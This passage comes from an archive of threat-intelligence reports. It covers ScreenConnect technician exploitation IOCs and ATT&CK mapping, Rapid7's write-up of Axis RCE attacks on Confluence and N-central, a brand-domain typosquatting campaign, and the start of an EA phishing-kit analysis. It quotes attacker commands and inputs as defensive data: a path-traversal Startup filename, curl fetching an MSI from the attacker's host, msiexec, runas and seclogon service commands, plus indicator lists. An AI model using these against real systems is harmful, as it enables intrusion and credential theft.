cmd.exe / powershell.exe / wscript.exe /\n\nnotepad*.exe , where the command line references \\ScreenConnect\\Temp\\ or \\\\\\Temp\\ and the parent's\n\narguments contain RunFile .\n\n/trustlevel:0x20000 .\n\nguest session.\n\nIndicators of Compromise (IOCs)\n\nItem\n\nmasterdarky[.]com\n\nhxxps://masterdarky[.]com/WindowsUpdate.msi\n\nf8871b1561d5c77c297378a7f49c84de52a01ff297395544f0e95d13ef972841\n\n%LOCALAPPDATA%\\wclient_\u003c8hex\u003e\\Windows Update\n\nAgent\\WindowsUpdate.WindowsClient.exe\n\n%TEMP%\\wupdate_\u003c8hex\u003e.msi\n\nupdate_224ac089.bat\n\nxhsdf_wrwerhjf_shhdga\n\nProcess: msiexec.exe /a with TARGETDIR=%LOCALAPPDATA%\\\\_\u003c8hex\u003e , followed by runas\n\nProcess: curl downloading an .msi from a script that a ScreenConnect host client started.\n\nServer: Guest-originated RanFiles with ../ traversal or a Startup path; high-volume RanFiles from one\n\nNetwork: Outbound ScreenConnect relay connections (often port 8041) on domains you don't own.\n\nPage 8 of 13\n\nDescription\n\nAttacker ScreenConnect relay (port\n\n8041) and payload host\n\nStage-2 installer containing the\n\nrebranded ScreenConnect client\n\nWindowsUpdate.WindowsClient.exe\n\nrogue ScreenConnect client\n\n( h=masterdarky[.]com\u0026p=8041 )\n\nRogue client install path\n\nDownloaded stage-2 MSI\n\nGuest-pushed first stage that led to\n\nthe full compromise\n\nArgument passed to the first-stage\n\nbatch file\n\nupdate.bat, update_\u003c8hex\u003e.bat\n\nmarker.txt\n\n../../../AppData/Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/Sync.bat\n\nRun-Lateral.bat, svc_payload.cmd\n\n194.15.36[.]33\n\n162.35.40[.]249\n\n64.20.44[.]120\n\n103.195.102[.]66\n\n103.195.102[.]76\n\n199.127.60[.]150\n\n199.127.62[.]58\n\n181.215.242[.]106\n\n162.35.167[.]105\n\n23.92.65[.]131\n\n23.94.77[.]110\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nNames of files sprayed by attacker\n\nguests\n\nCanary file pushed to test\n\nexploitation\n\nPath-traversal file name pushed by\n\nattacker guests\n\nOther guest-pushed file names\n\nIP that  masterdarky[.]com  resolves\n\nto\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nPage 9 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\n198.23.165[.]181\n\n107.173.186[.]58\n\n50.114.203[.]14\n\n38.18.228[.]165\n\n66.118.239[.]23\n\n74.235.98[.]176\n\n172.81.61[.]149\n\n178.173.246[.]85\n\n154.30.4[.]248\n\n107.148.223[.]103\n\n103.195.100[.]70\n\n103.195.100[.]69\n\n38.18.229[.]249\n\n98.142.247[.]243\n\n45.13.233[.]32\n\n38.18.228[.]173\n\n199.127.60[.]149\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nSprayer IP\n\nPage 10 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nPushed  marker.txt  canary (hand-\n91.224.92[.]167\noperated guest)\n\n91.224.92[.]83 Pushed  Run-Lateral.bat\n\n193.26.115[.]63 Pushed Startup  Sync.bat  traversal\n\n57.128.131[.]66 Pushed Startup  Sync.bat  traversal\n\n107.148.223[.]37 Pushed  svc_payload.cmd\n\nMITRE ATT\u0026CK Mapping\n\nTactic Technique Context\n\nResource Acquire Infrastructure: Attacker-run  masterdarky[.]com  served the payload and hosted\n\nDevelopment Domains (T1583.001) the rogue ScreenConnect relay\n\nResource Stage Capabilities: Upload WindowsUpdate.msi  hosted at\n\nDevelopment Malware (T1608.001)\n\nTrusted Relationship\nInitial Access\n(T1199)\n\nExploitation for Client\nExecution\nExecution (T1203)\n\nhxxps://masterdarky[.]com/WindowsUpdate.msi\n\nAttackers joined real MSP customer support sessions as extra\n\nguests, and sprayed MSP ScreenConnect servers to reach\n\ntechnician workstations\n\nExploited CVE-2026-84869 so the technician's ScreenConnect\n\nhost client ran guest-pushed files ( update_224ac089.bat ,\n\nmarker.txt ) without a prompt\n\nCommand and Scripting\n\nInterpreter: Windows Guest-pushed . bat/.cmd  files ( update_\u003c8hex\u003e.bat ,  Sync.bat ,\nExecution\nCommand Shell Run-Lateral.bat ,  svc_payload.cmd )\n\n(T1059.003)\n\nPage 11 of 13\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nCommand and Scripting\nBatch script relaunched itself through PowerShell;  Start-\nExecution Interpreter: PowerShell\nProcess  launched the payload\n(T1059.001)\n\nBoot or Logon Autostart\nPath traversal\nExecution: Registry Run\nPersistence ( ../../../AppData/Roaming/.../Startup/Sync.bat ) to drop a\nKeys / Startup Folder\nscript into the technician's Startup folder\n(T1547.001)\n\nPersistence / Create or Modify System\n\nPrivilege Process: Windows Service sc config seclogon start= auto  and  net start seclogon\n\nEscalation (T1543.003)\n\nPrivilege\nAccess Token Manipulation:\nEscalation / runas /trustlevel:0x20000  launched the payload under a\nCreate Process with Token\nDefense different trust level\n(T1134.002)\nEvasion\n\nHide Artifacts: Hidden Script relaunched itself hidden through PowerShell and\nStealth\nWindow (T1564.003) WScript.Shell\n\nDeobfuscate/Decode Files or\nStealth Decoded a Base64 Telegram bot token and chat ID\nInformation (T1140)\n\nSystem Binary Proxy msiexec /a ... TARGETDIR=%LOCALAPPDATA%\\wclient_224ac089\n\nStealth Execution: Msiexec /qn  unpacked the MSI as an administrative image, leaving no\n\n(T1218.007) install record\n\nObfuscated Files or\n\nStealth Information: Compile After csc.exe  compiled code from a PowerShell  Add-Type  call\n\nDelivery (T1027.004)\n\nMasquerading: Match\nRogue client named  WindowsUpdate.WindowsClient.exe ; installer\nStealth Legitimate Name or\nsaved as  wupdate_\u003cid\u003e.msi\nLocation (T1036.005)\n\nDiscovery Query Registry (T1012) reg query  for the Windows product name and build\n\nPage 12 of 13\n\nDiscovery\n\nDiscovery\n\nDiscovery\n\nCommand and\n\nControl\n\nCommand and\n\nControl\n\nCommand and\n\nControl\n\nCommand and\n\nControl\n\nCommand and\n\nControl\n\nSystem Information\n\nDiscovery (T1082)\n\nSoftware Discovery (T1518)\n\nSystem Network\n\nConnections Discovery\n\n(T1049)\n\nWeb Service: One-Way\n\nCommunication (T1102.003)\n\nIngress Tool Transfer\n\n(T1105)\n\nApplication Layer Protocol:\n\nWeb Protocols (T1071.001)\n\nRemote Access Tools:\n\nRemote Desktop Software\n\n(T1219.002)\n\nNon-Standard Port (T1571)\n\nSource: https://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nhttps://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation\n\nCollected OS product name and build\n\nChecked whether its own rogue client was already installed\n\nnet session , used to check for admin rights\n\nReported each new victim to the operator through a Telegram bot\n\ncurl  downloaded the MSI to  %TEMP%\\wupdate_224ac089.msi ;\n\nguest pushed files over the ScreenConnect session\n\nHTTPS download with  curl -A \"Mozilla/5.0\" --ssl-no-revoke\n\n--tlsv1.2 ...\n\nRebranded ScreenConnect client connected to the attacker's relay\n\n( h=masterdarky[.]com\u0026p=8041 )\n\nRelay traffic on port 8041\n\nPage 13 of 13","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.huntress.com/blog/cve-2026-84869-screenconnect-technician-exploitation"],"report_names":["cve-2026-84869-screenconnect-technician-exploitation"],"threat_actors":[],"ts_created_at":1794967705,"ts_updated_at":1794968422,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/5ee73b42074f5dafcfb7fdc978e6d1396872f57f.pdf","text":"https://archive.orkl.eu/5ee73b42074f5dafcfb7fdc978e6d1396872f57f.txt","img":"https://archive.orkl.eu/5ee73b42074f5dafcfb7fdc978e6d1396872f57f.jpg"}},{"id":"027c3801-d968-4c65-b7d3-b9dec7232588","created_at":"2026-11-18T02:07:46.429772Z","updated_at":"2026-11-18T02:20:22.573195Z","deleted_at":null,"sha1_hash":"d1f90f6a0c2e89c68ee8af4d27f89cea7587bd1b","title":"Rapid7 Detected Exploitation of CVE-2026-90436 against Atlassian Confluence Data Center, N-able N-central also Exploited","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":52608,"plain_text":"https://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited/\n\nRapid7 Detected Exploitation of CVE-2026-90436 against Atlassian\n\nConfluence Data Center, N-able N-central also Exploited\n\nBy Rapid7\n\nPublished: 2026-11-16 · Archived: 2026-11-18 02:00:39 UTC\n\nOverview\n\nOn November 6, 2026, the Apache Software Foundation disclosed CVE-2026-90436, a critical unsafe reflection\n\nvulnerability (CWE-470) in Axis 1.x that allows for unauthenticated remote code execution (RCE). Apache Axis\n\nis a Simple Object Access Protocol (SOAP) implementation used for the creation of Java Web services. CISA has\n\nassigned CVE-2026-90436 a CVSS score of 9.8 Critical.\n\nSince the initial November 6 disclosure, it has transpired that some versions of Atlassian Confluence Data Center\n\nand N-able N-central use the affected Axis library and are vulnerable to CVE-2026-90436. Both products require\n\na non-default configuration in order to be vulnerable.\n\nCVE-2026-90436 is now being actively exploited in the wild against both known affected products. On\n\nNovember 13, 2026, Rapid7 MDR detected exploitation of CVE-2026-90436 against Atlassian Confluence\n\nData Center in a customer environment. Separately, on November 13, 2026, N-able reported exploitation in the\n\nwild against N-central for a vulnerability that strongly correlates to CVE-2026-90436. A proof-of-concept exploit\n\nthat leverages CVE-2026-90436 and targets N-central was published on November 12, 2026, as part of a series of\n\npublic zero-day disclosures against N-central.\n\nRapid7 recommends remediating exposed systems on an emergency basis outside of normal patching cycles.\n\nMDR observed exploitation\n\nOn November 13, 2026, Rapid7's MDR team responded to a surge of alerts firing on the abnormal child processes\n\nlaunched by an Atlassian Confluence server. A review of the Confluence access logs revealed unauthenticated\n\nPOST requests to /plugins/servlet/soap-axis1/confluenceservice-v2, each returning an HTTP 500 (Internal Server\n\nError). Despite the error responses, endpoint telemetry showed Confluence's Java process launching Bash and curl\n\nas the dedicated confluence service account, within seconds of these requests. The attacker proceeded to run\n\nhundreds of hex-encoded shell commands and scripts fetched from temporary Pinggy and Cloudflare Tunnel\n\ndomains. Each command wrapped its output in labeled delimiters, and carried sequential task IDs, a structure that\n\nsuggests the use of AI-assisted automated tooling.\n\nFrom this foothold, the attacker enumerated the host, network, Confluence configuration, encryption keys, and\n\ndatabase settings. Just over three minutes after the first observed execution, the attackers were authenticating to\n\nMySQL with Confluence's own database credentials, querying page bodies, application links, and attachments\n\nwith names associated with credentials, tokens, VPN configurations, and private keys. The attacker's scripts, likely\n\nAI-generated, then targeted files in Confluence's default location for uploaded page attachments\n\nPage 1 of 4\n\nhttps://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited/\n\n(/var/atlassian/application-data/confluence/attachments/v4/), parsed Office documents, searched for credentials,\n\nand hunted for payment card numbers, using Luhn checks to filter out false positives.\n\nThe attacker continued extensive enumeration, mapping various internal services. They used a Confluence\n\napplication credential to query the internal Atlassian Crowd API for users and group memberships, then ran\n\nImpacket's GetNPUsers.py against a domain controller, attempting an AS-REP roasting attack.\n\nAlthough these attempts failed, the access we did observe relied on credentials stored in Confluence, and roughly\n\nfour hours after the first exploit request, the attacker had acquired a service account credential and began querying\n\na production cloud data warehouse. Approximately twelve hours after the first exploit request, the attacker signed\n\nin to Microsoft 365 as an integration service account using legacy authentication from 192.238.253[.]176. The\n\nsame address appeared in the hostname of the Pinggy tunnel and in exploit requests observed earlier in the\n\nintrusion.\n\nMitigation guidance\n\nPrioritize internet-accessible instances with the relevant APIs enabled, and check internal deployments as well.\n\nApply the product-specific actions below, then investigate systems that were exposed for evidence of compromise.\n\nAxis 1.x through 1.4 is affected but has reached end of life (EOL) and Apache does not plan to publish a fixed\n\nAxis 1.x release. Apache recommends moving to another SOAP engine (for example, Apache Axis 2) or using an\n\nAxis 1.x build with this patch applied. Organizations using products that are affected by this issue should follow\n\nthe product vendor's specific remediation instructions.\n\nAtlassian Confluence Data Center\n\nAtlassian lists versions 1.x through to 9.x as affected when “Remote API (XML-RPC \u0026 SOAP)” is enabled.\n\nVersion 9.2.28 is the fixed release. The setting has been off by default for new installations since version 3.0.\n\nConfluence version 10.x and later removed the feature so are not vulnerable, and Atlassian Cloud is unaffected.\n\nAffected users should upgrade to version 9.2.28 or a current unaffected 10.x release. If patching must wait, an\n\nadministrator can open “General Configuration” and “Further Configuration”, edit the settings, clear “Remote API\n\n(XML-RPC \u0026 SOAP)”, and save. The change takes effect without restarting Confluence, but integrations using\n\nthe API may stop working.\n\nFollow the Confluence advisory for the latest fixes and mitigation instructions.\n\nN-able N-central\n\nOn-premises administrators should confirm that “Legacy API” is disabled, even on 2026.4 HF2. N-able states that\n\nit is off by default, and provides instructions for disabling Legacy API. Its November 13 guidance says hosted\n\nenvironments received temporary protections directly; customers in both hosting models must still follow the\n\nvendor's Agent and Probe upgrade guidance. N-able also temporarily disabled the Intune integration as a\n\nprecaution. Refer to the N-able security update for these responsibilities.\n\nPage 2 of 4\n\nhttps://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited/\n\nUpdate: On November 16, 2026, N-able released N-central 2026.4 HF3 (2026.4.1.39) which addresses multiple\n\nissues including seventeen new CVEs. The “Legacy API” feature which exposed the vulnerable CVE-2026-90436\n\nAxis attack surface has been disabled in this new release. N-central users should upgrade to N-central 2026.4 HF3\n\non an emergency basis outside of normal patching cycles.\n\nFollow the N-able advisory for the latest fixes and mitigation instructions.\n\nIOCs\n\nThe presence of these IOCs in logs should prompt investigation, but the absence of these addresses does not\n\nconfirm that an environment was unaffected.\n\nAtlassian Confluence Data Center\n\nThe following IP addresses and domains are associated with observed exploitation of CVE-2026-90436 against\n\nAtlassian Confluence Data Center:\n\n192.238.253[.]176\n\n5.133.47[.]243\n\n163.182.68[.]109\n\n104.13.106[.]166\n\n*.trycloudflare[.]com\n\nwpefh-192-238-253-176.free.pinggy[.]net\n\nwebhook[.]site\n\nN-able N-central\n\nN-able's November 13 incident update lists these IP addresses as IOCs for N-central customers who had not\n\ndisabled Legacy API.\n\n157.20.241[.]16\n\n139.99.69[.]109\n\n79.76.51[.]56\n\nThe vendor's update also lists associated URLs for use in compromise assessment.\n\nUpdates\n\nNovember 16, 2026: Initial publication.\n\nNovember 17, 2026: Updated Remediation section for N-central.\n\nPage 3 of 4\n\nhttps://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited/\n\nNovember 17, 2026: Added the MDR observed exploitation section and updated IOCs.\n\nSource: https://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able\n\n-n-central-also-exploited/\n\nPage 4 of 4","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited/"],"report_names":["etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited"],"threat_actors":[],"ts_created_at":1794967666,"ts_updated_at":1794968422,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/d1f90f6a0c2e89c68ee8af4d27f89cea7587bd1b.pdf","text":"https://archive.orkl.eu/d1f90f6a0c2e89c68ee8af4d27f89cea7587bd1b.txt","img":"https://archive.orkl.eu/d1f90f6a0c2e89c68ee8af4d27f89cea7587bd1b.jpg"}},{"id":"2d8e8d62-a5b1-4942-bd38-50112fc65b82","created_at":"2026-11-18T02:07:26.624989Z","updated_at":"2026-11-18T02:20:22.477413Z","deleted_at":null,"sha1_hash":"a2bc84af55dd384093b3113f1edb8c3773e279d8","title":"Typosquatters Copy Big Brands’ New Domains Within a Day of Registration","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":53195,"plain_text":"https://www.security.com/threat-intelligence/typosquatting-new-brand-domains\n\nTyposquatters Copy Big Brands’ New Domains Within a Day of\n\nRegistration\n\nBy About the Author\n\nArchived: 2026-11-18 02:00:21 UTC\n\nAn ongoing typosquatting campaign targeted clients of two brand-protection registrars, CSC (Corporation\n\nService Company) and MarkMonitor.\n\nAttackers registered 25 lookalike domains, designed to closely resemble authentic domains.\n\nEvery lookalike was registered within the next working day of its authentic counterpart, which suggests the\n\nactors monitored new registrations made through brand-protection registrars.\n\nMost authentic domains appeared to be designed to host campaign sites for well-known brands, including\n\nAbbott Laboratories, Bayer, CarMax, McDonald’s, Procter \u0026 Gamble and Sanofi, such as patient-savings\n\nprograms, sweepstakes, claims portals and legal settlements.\n\nThe lookalikes served parked pages, deceptive search portals and brand-themed blogs whose ads routed\n\nvisitors to scam sites.\n\nDaily monitoring continues to detect this activity with new lookalikes registered as recently as November\n\n11, 2026.\n\nWhen a large company registers a new domain through a corporate brand-protection registrar, it signals that the\n\nname matters. Recently, malicious actors appear to have turned that signal against the brands themselves. Each\n\ntime a client of CSC (Corporation Service Company) or MarkMonitor registered a new campaign domain, a one-\n\nletter lookalike was registered the next day through a China-based registrar. The pattern repeated 27 times, across\n\ndomains belonging to Abbott Laboratories, Bayer, CarMax, McDonald’s, Procter \u0026 Gamble and Sanofi, among\n\nothers.\n\nIn one case, CarMax registered carmaxclaims[.]com and kmxclaims[.]com through CSC on August 26. The next\n\nday, carmaxclaim[.]com and kmxclaim[.]com, each one letter shorter, were registered through a registrar in China.\n\nThe campaign has not stopped. The same pattern appeared again as recently as November 11, 2026.\n\nTargeting\n\nWhois records show that the authentic domains belonged to large, well-known organizations. Most were campaign\n\nsites rather than corporate home pages, including patient-savings programs, sweepstakes, rebates, claims portals\n\nand legal settlements.\n\nThe authentic domains were registered to Abbott Laboratories, Arlo Technology, Bayer, Beam Suntory, Bristol-\n\nMyers Squibb, CarMax, Greystar, Immunovant, Ipsos, Kroll, McDonald’s, Procter \u0026 Gamble and Sanofi, among\n\nothers.\n\nTyposquatters Copy Big Brands’ New Domains Within a Day of Registration\n\nPage 1 of 4\n\nhttps://www.security.com/threat-intelligence/typosquatting-new-brand-domains\n\nThese are addresses people type by hand. They appear on printed mailers, television advertisements, pharmacy\n\nleaflets and court-ordered settlement notices, and the pages behind them ask visitors for names, addresses, claim\n\nnumbers or health details. A customer who lands accidentally on a lookalike domain is likely to arrive already\n\nexpecting to hand over personal data.\n\nRegistration monitoring\n\nThe operation ran in two halves. The setup was fast and likely automated. The attackers then waited for the brand\n\nto launch, publish the address and send customers looking for it.\n\nTyposquatters Copy Big Brands’ New Domains Within a Day of Registration\n\nRegistration data is public. Every new .com, .claims or .network domain appears in daily zone files, and a Whois\n\nor Registration Data Access Protocol (RDAP) lookup shows which registrar holds it. A domain that arrives\n\nthrough CSC or MarkMonitor is very likely a name a large company cares about. The actors’ tooling was not\n\nvisible to us, but the evidence is consistent with a simple pipeline that watched new registrations, filtered on\n\nbrand-protection registrars, generated a one-character variant and registered it before the next day was out.\n\nThe lookalikes were registered through Cloud Yuqu LLC (Internet Assigned Numbers Authority (IANA) ID\n\n3824), which registered 18 of the 25, and Chengdu West Dimension Digital Technology Co., Ltd. (IANA ID\n\n1556), which registered the other seven. A domain registered the day before is rarely promoted yet, so each\n\nlookalike was in place before the public had seen the real address. By the time a patient-savings card, sweepstakes\n\nor settlement notice reached the public, its typo twin may have been waiting for weeks.\n\nOne-character edits\n\nWhois records confirm that every lookalike was registered within 24 hours of its authentic counterpart. Figure 3\n\nlists all 27 pairs with the date each authentic domain was created; the letter in red is the one the squatter changed.\n\nTyposquatters Copy Big Brands’ New Domains Within a Day of Registration\n\nThe name changes were small. Classic typosquatting techniques such as keyboard-adjacent swaps, homoglyphs or\n\nhyphen insertion were absent. Instead, the actors favored edits that kept the name readable and plausible, which a\n\nhurried reader would be unlikely to notice.\n\nOf the 27 pairs, 15 dropped a plural or possessive “s” (fyzadasavings became fyzadasaving), six left out a single\n\nletter (greystarbenefits became greystarbenfits) and four collapsed a double letter (mywayconnect became\n\nmywayconect). That makes 25 plain deletions. Only two pairs did anything else. One added a letter\n\n(tradealgotcpasettlement became tradealgotcpassettlement) and one swapped a vowel (yourmsdbenefits became\n\nyourmsdbenifits).\n\nThe dropped plural “s” was the most common edit. Savings became saving, claims became claim and sweeps\n\nbecame sweep. People often say and type the singular form, which may make these the most effective typos. The\n\nactors also folded novelty top-level domains (TLDs) back into .com, likely because users default to it;\n\ncarmax[.]claims became carmaxclaim[.]com and mcdonaldsmedia[.]network became\n\nmcdonaldmedianetwork[.]com. A single lookalike could also shadow several authentic domains. For example,\n\nPage 2 of 4\n\nhttps://www.security.com/threat-intelligence/typosquatting-new-brand-domains\n\ncarmaxclaim[.]com covered both carmax[.]claims and carmaxclaims[.]com, while yourmsdbenefits[.]com drew\n\nthree separate variants from two registrars.\n\nMonetization\n\nWhen queried, the lookalikes served one of three kinds of content. Some were parked placeholder pages that\n\nearned money from pay-per-click advertising feeds. Others were deceptive search portals whose results led to\n\nscam blogs, or brand-themed blogs written around the typosquatted name and packed with ads that routed visitors\n\nto scam sites.\n\nThis low-grade scam traffic may not be the end goal. Advertising networks of this kind can also be abused for\n\nmalvertising and credential harvesting, and a domain that serves ads today could serve a fake claims form\n\ntomorrow with a single Domain Name System (DNS) or content change. Visitors who reach these domains are\n\nalready primed to enter personal details. Symantec continues to track the campaign’s scope and persistence.\n\nProtection\n\nIndicators of Compromise\n\nontherockrebate[.]com\n\nmypgsweep[.]com\n\nasrelbisaving[.]com\n\nfyzadasaving[.]com\n\nijornisavings[.]com\n\nhealthspringproducer[.]com\n\narlocareheath[.]com\n\nhithebeamsweeps[.]com\n\nmywayconect[.]com\n\nsunharbosaving[.]com\n\ngetpgsoffer[.]com\n\nWebPulse, the collaborative intelligence cloud behind Symantec web security, placed the identified domains in\n\nsecurity categories and can catch new variants through shared detection patterns.\n\nFor more information on Symantec protection against this campaign, see the Protection Bulletin.\n\nPage 3 of 4\n\ncelmodpharmacy[.]com\n\nmcdonaldmedianetwork[.]com\n\naveirwirless[.]com\n\ninsulinsavingprogram[.]com\n\nukvaluestudy[.]com\n\ngreystarbenfits[.]com\n\ncarmaxclaim[.]com\n\nkmxclaim[.]com\n\naildatasettlment[.]com\n\ntradealgotcpassettlement[.]com\n\ntradealgotcpsettlement[.]com\n\nyoumsdbenefits[.]com\n\nyourmsdbenefit[.]com\n\nyourmsdbenifits[.]com\n\nmyolinhuntsmanbenefit[.]com\n\nmyolinhuntsmanbenifits[.]com\n\nDavid Tyler\n\nDavid Tyler\n\nThreat Analyst, Enterprise Security Group, Broadcom\n\nLionel Payet\n\nLionel Payet\n\nhttps://www.security.com/threat-intelligence/typosquatting-new-brand-domains\n\nTyposquatters Copy Big Brands’ New Domains Within a Day of Registration\n\nPrincipal Threat Intelligence Analyst, Enterprise Security Group, Broadcom\n\nSource: https://www.security.com/threat-intelligence/typosquatting-new-brand-domains\n\nPage 4 of 4","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.security.com/threat-intelligence/typosquatting-new-brand-domains"],"report_names":["typosquatting-new-brand-domains"],"threat_actors":[],"ts_created_at":1794967646,"ts_updated_at":1794968422,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/a2bc84af55dd384093b3113f1edb8c3773e279d8.pdf","text":"https://archive.orkl.eu/a2bc84af55dd384093b3113f1edb8c3773e279d8.txt","img":"https://archive.orkl.eu/a2bc84af55dd384093b3113f1edb8c3773e279d8.jpg"}},{"id":"9dc5c013-2d37-4ccd-a377-07546ac8411a","created_at":"2026-11-18T02:07:14.86551Z","updated_at":"2026-11-18T02:20:22.397438Z","deleted_at":null,"sha1_hash":"44a77749c8902de87bd26b1ec76b8a5bba356874","title":"Fake Prime Gaming x FC 27 reward site harvests EA passwords and 2FA codes","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":1403179,"plain_text":"https://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes\n\nFake Prime Gaming x FC 27 reward site harvests EA passwords\n\nand 2FA codes\n\nBy Stefan Dasic\n\nPublished: 2026-11-16 · Archived: 2026-11-18 02:00:30 UTC\n\nIn this article\n\nA fake “FC27 x Prime Gaming” reward site leads to a copied EA sign-in form\n\nThe site collects passwords and 2FA codes, putting gamers’ EA accounts at risk\n\nIf you entered your login details, change your EA password and review account security settings\n\nFootball fans looking for free player packs in EA SPORTS FC 27 could end up handing over their gaming account\n\ninstead. FC 27 is the latest installment in EA’s soccer video game series. Its Ultimate Team mode lets players build\n\nsquads using virtual player cards, which they can get by opening packs.\n\nFollowing the game’s September 25 launch, we identified a fake “FC27 x Prime Gaming” reward page targeting\n\nplayers’ login details. Prime Gaming offers games and in-game rewards as part of an Amazon Prime membership.\n\nThe fake page borrows that branding, tells visitors their reward is waiting, and asks them to “connect” their EA\n\naccount—the account they use to access EA games and services.\n\nThe series attracts millions of players. EA reported that FC 24 reached more than 11.3 million players worldwide\n\nin its first week in 2023, including through EA Play.\n\nOn this fake site, there is no reward. The “EA sign-in” that follows is a copy hosted on the scammers’ own\n\ndomain. It asks for your email address, your password, and the security code from your two-factor authentication\n\n(2FA), and sends each one to a server the criminals control. The page’s code is designed to use the server’s replies\n\nto decide whether to show a password error or ask for a 2FA code.\n\nThis site is not affiliated with EA, Amazon, or Prime Gaming. If you entered your details on a page like this, go to\n\nthe “How to stay safe” section below.\n\nA reward that’s waiting for you\n\nPage 1 of 5\n\nhttps://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes\n\nThe landing page is dark purple and styled like a game promo. It says “Your Prime Gaming reward is waiting.\n\nConnect your EA account to continue.” Under the button, a smaller line reads “You’ll continue to EA’s official\n\nauthorization page.”\n\nYou don’t. Clicking the button shows “Connecting…” and “Redirecting to EA authorization…”. The code waits a\n\nfixed 1.4 seconds and then moves you to  /in , which is still on the same domain.\n\nA copied EA sign-in page\n\nThe sign-in page closely imitates EA’s own. It has a dark layout, a “Phone or Email” field, “Keep me signed in,”\n\n“Sign in with a Passkey,” and a row of Google, Facebook, Apple, and Steam buttons.\n\nPage 2 of 5\n\nhttps://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes\n\nThe social sign-in buttons do nothing when clicked. Instead, the page steers visitors toward entering their email\n\naddress and password.\n\nHow the theft works, step by step\n\nEach step sends what you type to a separate server, fedserv.thenewsip[.]site.\n\n1. Email. You enter your email address and move on to the password page.\n\n2. Password. You enter your password, which is sent to the server. The page uses the server’s reply to decide\n\nwhether to show an EA-style “Your credentials are incorrect” error or continue, including whether to\n\nrequest a 2FA code. This is consistent with an attempt to check the details against EA, but the captured\n\npage code alone does not confirm how the server handles them.\n\n3. The code. If the account has 2FA, a “Verify your identity” page asks you to click “Send Code” and then\n\nenter the six-digit code. The code goes straight to the server.\n\n4. The exit. The page redirects you to EA’s real Ultimate Team web app at ea.com. Accounts without 2FA\n\nskip step three. Arriving at the real site does not mean the preceding sign-in was legitimate.\n\nCapturing a valid 2FA code could let the attackers complete a sign-in before it expires. This doesn’t disable 2FA,\n\nbut it could allow them to get past that check for a particular login.\n\nTracking where victims come from\n\nThe page records where each visitor came from and sends that “traffic source” to the server along with the\n\nsubmitted details. It recognizes Facebook, Messenger, Meta’s Audience Network, Instagram, and TikTok, through\n\ntracking parameters in the link and through Facebook and TikTok ad-click IDs ( fbclid ,  ttclid ). Everything\n\nelse is labeled “direct” or “unknown.”\n\nThe kit also has built-in support for Umami web analytics. Whether it’s on depends on a separate settings file that\n\nwasn’t part of what we captured. In its default mode, the server’s replies decide whether a visitor’s later steps\n\n(password, sending the code, success) show up in the statistics, and the page where victims type their security\n\ncode isn’t counted in page-view tracking. The settings can also switch to a mode that counts every page.\n\nTogether, these features give the operators a way to track traffic attributed to social platforms. They show that the\n\npage was built to handle those sources, but do not establish that ads actually ran on them.\n\nDressed up as an “internal tool”\n\nThe HTML asks search engines not to index, archive, or show previews of the page, with a comment that\n\nreads “Private team tool — do not index or archive.”\n\nThe “Privacy Policy” and “Terms of Service” pages describe an “authentication portal” for “internal use by\n\nauthorized personnel.”\n\nThe kit has two switches. One turns off the Prime Gaming landing page, so the same code would show a\n\nplain fake EA sign-in instead. The other chooses between sending victims to EA’s real site and showing the\n\n“enrolled for weekly FC 27 rewards” page. In the version we analyzed, both the Prime Gaming lure and the\n\nredirect to EA were on.\n\nPage 3 of 5\n\nhttps://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes\n\nWhy your EA account is worth stealing\n\nAn EA account is more than a login. It can hold an FC Ultimate Team 